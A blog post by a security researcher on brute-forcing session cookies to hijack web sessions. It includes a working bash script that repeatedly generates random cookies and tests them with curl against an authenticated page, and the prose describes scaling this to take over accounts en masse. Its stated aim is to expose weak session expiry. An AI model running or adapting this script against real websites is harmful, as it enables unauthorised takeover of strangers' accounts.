FULL ARTICLE

Hijack session by guessing or brute-forcing session cookie

In addition to my previous article – Old Cookies Die Hard, and detailed disclosure of LinkedIn Vulnerability, I studied the cookie patterns from different websites. Many of these websites have complex patterns in the cookies which are long enough (> 100 characters) and complex (A-Z, a-z, 0-9 and symbols). In ideal case (Web Session Management 101), the cookies should mapped with session IDs, and should NOT be re-usable. In simple terms, you login to a website, get cookie ‘A’, and when you logout, ‘A’ should be deleted from the browser, and invalidated from the server! So, even if the cookie is stolen it is not usable to the same session if the user has logged out.

But let us not dive more into the ‘ideal universe’, and be more realistic. In the present structure of world wide web, the session management is widely broken. When I research on the the authentication principle and ‘session management’, I realize it is still in infancy stage. Web developers are not serious with the session management logics, and leave loop holes that favour the attackers. So, if the server is not expiring the cookies, post the session logout; there are chances that the cookie can be brute forced (or guessed). So, you just turn on your .22 calibre cookie gun and automate the process.

Here is a sample POC script to do the same –

#!/bin/bash 

## COOKIE BRUTEFORCER – \*\* Only for internal research and educational purposes. DO NOT USE it on any website without prior permission. \*\* 
## – by: Rishi Narang
#################################################################

## DEFINE GLOBAL VARIABLES
##### SIZE – This variable will hold the size of the cookie pattern. It is the string size of the cookie. 
SIZE=<type a number> 

##### DOMAIN- Mention the domain name that is to be tested WITHOUT http/https. 
DOM=<general URL eg: www.example.com> 

##### CNAME – This variable holds the NAME OF COOKIE that is delivered post session authentication 
CNAME=<name of authenticated cookie> 

##### URL – Authenticated page that can only be accessed post successful login 
URL=<authenticated URL> 

##### PATTERN – Mention the pattern that can be checked if the login is successful. This pattern should be a part of ONLY an authenticated page. 
PATTERN=<mention the pattern>

while true; do

    ## VARCOOK = Holds the random cookie variable to be generated. Should be fixed length pattern. Mention size in global variable.  
    VARCOOK=`< /dev/urandom tr -dc A-Za-z0-9 | head -c${1:-$SIZE};echo;` 
    echo "Cookie: $VARCOOK" 
    echo -e "$DOMAIN\tTRUE\t/\tFALSE\t0\t$CNAME\t$VARCOOK" > COOKIE.TMP 
    curl -sq -b COOKIE.TMP –L $URL -o RESULT.TMP 
    cat RESULT.TMP | grep -q "$PATTERN"

    if [ $? -eq 0 ] 
    then 
            echo -e "$VARCOOK – Success" >> success_file 
            rm -rf *.TMP 
    else 
            rm -rf *.TMP 
    fi

done

If I compare the brute-forcing of Cookie vs. the Passwords, here are some cool facts,

  • In password guessing, you may need the account holders’ username. But, cookie guessing is independent of username. The moment you get the right cookie hit, it is someone’s session.
  • In password guessing, you may have 3-10 attempts before the websites’ either provide a captcha with login screen or might right away lock you out. But, with cookie guessing you can try million guesses, and still will not be locked out. Therefore, one can automate it to eternity.
  • Cookie guessing is not recommended if you have to target a certain account, as they are independent of username(s) (assuming username is NOT part of cookie)

If cookie is 20 characters long, and the service provider has 10 million users, you can do the math. Eventually, you will hijack all the possible active accounts. The math is not exponential as with cryptography. It will not take 100s of years, but some months to crack it all. Cookie brute-forcing is a way better idea than password (if you are not targeting particular user), and one fine day you will get someone’s account – either a rock-star, or a p***star, or a public servant, or your maid servant … the probability is low, but given good time (in days/ months) whole wide world is vulnerable. Use cloud computing, parallel processing and you can hijack all the accounts with the service provider.

Session Management needs to be seriously looked after, and not to be taken lightly. It is fundamentally flawed when you do not randomize or expire the cookies.

Wake up, before anyone sips his coffee with your cookies!